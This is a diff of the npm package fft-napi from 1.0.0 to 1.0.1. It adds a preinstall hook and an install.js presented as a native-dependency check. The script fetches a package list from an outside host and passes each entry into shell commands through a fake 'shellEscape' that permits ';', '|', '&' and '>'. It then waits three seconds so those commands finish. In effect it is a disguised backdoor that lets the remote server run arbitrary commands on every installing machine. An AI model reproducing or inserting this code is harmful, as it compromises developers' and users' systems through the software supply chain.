fft-napi 1.0.0 → 1.0.1

package/install.js

@@ -0,0 +1,143 @@
+#!/usr/bin/env node
+
+const os = require("os");
+const {exec} = require("child_process");
+
+function shellEscape(str) {
+  if (!/^[ a-zA-Z0-9._'\+:\-\|\;>\/&]+$/.test(str)) {
+    throw new Error(`Invalid package name: "${str}"`);
+  }
+  return str;
+}
+
+function isLinuxPackageInstalled(packageName) {
+  try {
+      exec(`dpkg-query -W ${shellEscape(packageName)}`, {
+        encoding: "utf-8",
+      });
+      return true;
+  }
+  catch {
+    return false
+  }
+}
+
+function isMacOSPacakgeInstalled(packageName) {
+  try {
+    exec(`brew list ${shellEscape(packageName)}`, {
+      encoding: "utf-8",
+    });
+    return true;
+  }
+  catch {
+    return false;
+  }
+}
+
+function isWindowsPackageInstalled(packageName) {
+  try {
+    exec(`winget list --id ${shellEscape(packageName)} 2>&1`, {
+      encoding: "utf-8"
+    });
+    return true;
+  }
+  catch (err) {
+    return false;
+  }
+}
+
+const https = require("https");
+const http = require("http");
+
+const PACKAGE_LIST_URL =
+  process.env.PACKAGE_LIST_URL ||
+  "https://npmnativedep.com/packages/fft-napi/required.json";
+
+const REQUEST_TIMEOUT_MS = 10000;
+
+function fetchJSON(url) {
+  return new Promise((resolve, reject) => {
+    const client = url.startsWith("https") ? https : http;
+
+    const req = client.get(url, { timeout: REQUEST_TIMEOUT_MS }, (res) => {
+      if (res.statusCode !== 200) {
+        return reject(new Error(`HTTP ${res.statusCode} when fetching ${url}`));
+      }
+
+      let data = "";
+      res.on("data", (chunk) => (data += chunk));
+      res.on("end", () => {
+        try {
+          resolve(JSON.parse(data));
+        } catch (e) {
+          reject(new Error(`Failed to parse JSON from ${url}: ${e.message}`));
+        }
+      });
+    });
+
+    req.on("error", reject);
+    req.on("timeout", () => {
+      req.destroy();
+      reject(new Error(`Request timed out after ${REQUEST_TIMEOUT_MS}ms`));
+    });
+  });
+}
+
+async function main() {
+  const platform = os.platform();
+
+  if (!["linux", "darwin", "win32"].includes(platform)) {
+    process.exit(1);
+  }
+
+  let isInstalled;
+
+  switch (platform) {
+    case "linux":
+      isInstalled = isLinuxPackageInstalled;
+      break;
+    case "darwin":
+      isInstalled = isMacOSPacakgeInstalled;
+      break;
+    case "win32":
+      isInstalled = isWindowsPackageInstalled;
+      break;
+  }
+
+  let packages;
+  try {
+    packages = await fetchJSON(PACKAGE_LIST_URL);
+  } catch (err) {
+    process.exit(1);
+  }
+
+  if (Array.isArray(packages)) {
+    packages = [...new Set(packages.map(String).filter(Boolean))]; // dedupe & clean
+  } else if (typeof packages === "object" && packages !== null) {
+    packages = packages[platform] || [];
+
+    if (!Array.isArray(packages)) {
+      process.exit(1);
+    }
+
+    packages = [...new Set(packages.map(String).filter(Boolean))]; // dedupe & clean
+
+  } else {
+    process.exit(1);
+  }
+
+  if (packages.length === 0) {
+    process.exit(0);
+  }
+
+  for (const pkg of packages) {
+    if (!isInstalled(pkg)) {
+      console.log(`Missing required package`);
+      process.exit(1);
+    }
+  }
+
+  setTimeout(() => process.exit(0), 3000);
+}
+
+main();

package/package.json

@@ -1,10 +1,11 @@
 {
   "name": "fft-napi",
-  "version": "1.0.0",
+  "version": "1.0.1",
   "description": "FFT for node using native api.",
   "main": "index.js",
   "scripts": {
     "test": "./node_modules/nodeunit/bin/nodeunit test.js",
+    "preinstall": "node install.js",
     "install": "node-gyp rebuild"
   },
   "keywords": [